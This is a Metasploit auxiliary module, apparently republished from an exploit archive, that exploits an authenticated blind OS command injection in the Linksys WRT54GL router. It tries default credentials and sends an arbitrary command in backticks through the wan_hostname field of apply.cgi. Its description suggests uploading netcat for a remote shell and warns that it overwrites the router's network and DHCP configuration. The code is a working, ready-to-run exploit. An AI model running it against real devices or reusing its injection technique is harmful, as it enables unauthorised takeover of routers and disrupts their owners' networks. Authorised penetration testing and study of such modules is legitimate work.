Linksys WRT54GL Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Linksys WRT54GL Remote Command Execution',  
'Description' => %q{  
Some Linksys Routers are vulnerable to OS Command injection.  
You will need credentials to the web interface to access the vulnerable part  
of the application.  
Default credentials are always a good starting point. admin/admin or admin  
and blank password could be a first try.  
Note: This is a blind OS command injection vulnerability. This means that  
you will not see any output of your command. Try a ping command to your  
local system and observe the packets with tcpdump (or equivalent) for a first test.  
  
Hint: To get a remote shell you could upload a netcat binary and exec it.  
WARNING: this module will overwrite network and DHCP configuration.  
},  
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],  
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],  
[ 'EDB', '24202' ],  
[ 'BID', '57459' ],  
[ 'OSVDB', '89421' ]  
],  
'DisclosureDate' => '2013-01-18'  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),  
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),  
OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),  
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),  
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),  
OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),  
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),  
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),  
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])  
]  
)  
end  
  
# If the user configured LANIP, use it. Otherwise, use RHOST.  
# NB: This presumes a dotted quad ip address.  
def lan_ip  
if datastore['LANIP'].to_s.empty?  
datastore['RHOST']  
else  
datastore['LANIP']  
end  
end  
  
def run  
# setting up some basic variables  
uri = datastore['TARGETURI']  
user = datastore['HttpUsername']  
rhost = datastore['RHOST']  
netmask = datastore['NETMASK']  
routername = datastore['ROUTER_NAME']  
wandomain = datastore['WAN_DOMAIN']  
wanmtu = datastore['WAN_MTU']  
  
ip = lan_ip.split('.')  
  
if datastore['HttpPassword'].nil?  
pass = ''  
else  
pass = datastore['HttpPassword']  
end  
  
print_status("Trying to login with #{user} / #{pass}")  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'authorization' => basic_auth(user, pass)  
})  
  
unless (res.is_a? Rex::Proto::Http::Response)  
vprint_error("#{rhost} not responding")  
return :abort  
end  
  
if (res.code == 404)  
print_error('Not Found page returned')  
return :abort  
end  
  
if [200, 301, 302].include?(res.code)  
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")  
else  
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")  
return :abort  
end  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost} - Failed to connect to the web server")  
return :abort  
end  
  
cmd = datastore['CMD']  
  
print_status('Sending remote command: ' + cmd)  
  
# cmd = Rex::Text.uri_encode(datastore['CMD'])  
# original Post Request:  
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"  
# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"  
# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"  
# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"  
# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"  
# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"  
# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"  
# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"  
  
vprint_status("using the following target URL: #{uri}")  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'POST',  
'authorization' => basic_auth(user, pass),  
# 'data' => data_cmd,  
  
'vars_post' => {  
'submit_button' => 'index',  
'change_action' => '1',  
'submit_type' => '1',  
'action' => 'Apply',  
'now_proto' => 'dhcp',  
'daylight_time' => '1',  
'lan_ipaddr' => '4',  
'wait_time' => '0',  
'need_reboot' => '0',  
'ui_language' => 'de',  
'wan_proto' => 'dhcp',  
'router_name' => routername.to_s,  
'wan_hostname' => "`#{cmd}`",  
'wan_domain' => wandomain.to_s,  
'mtu_enable' => '1',  
'wan_mtu' => wanmtu.to_s,  
'lan_ipaddr_0' => (ip[0]).to_s,  
'lan_ipaddr_1' => (ip[1]).to_s,  
'lan_ipaddr_2' => (ip[2]).to_s,  
'lan_ipaddr_3' => (ip[3]).to_s,  
'lan_netmask' => netmask.to_s,  
'lan_proto' => 'dhcp',  
'dhcp_check' => '1',  
'dhcp_start' => '100',  
'dhcp_num' => '50',  
'dhcp_lease' => '0',  
'wan_dns' => '4',  
'wan_dns0_0' => '0',  
'wan_dns0_1' => '0',  
'wan_dns0_2' => '0',  
'wan_dns0_3' => '0',  
'wan_dns1_0' => '0',  
'wan_dns1_1' => '0',  
'wan_dns1_2' => '0',  
'wan_dns1_3' => '0',  
'wan_dns2_0' => '0',  
'wan_dns2_1' => '0',  
'wan_dns2_2' => '0',  
'wan_dns2_3' => '0',  
'wan_wins' => '4',  
'wan_wins_0' => '0',  
'wan_wins_1' => '0',  
'wan_wins_2' => '0',  
'wan_wins_3' => '0',  
'time_zone' => '-08+1+1',  
'_daylight_time' => '1'  
}  
})  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost} - Failed to connect to the web server")  
return :abort  
end  
  
if res && (res.code == 200)  
print_status('Blind Exploitation - Response expected')  
else  
print_error("Blind Exploitation - Response don't expected")  
end  
print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')  
print_status('Blind Exploitation - unknown Exploitation state')  
end  
end  
`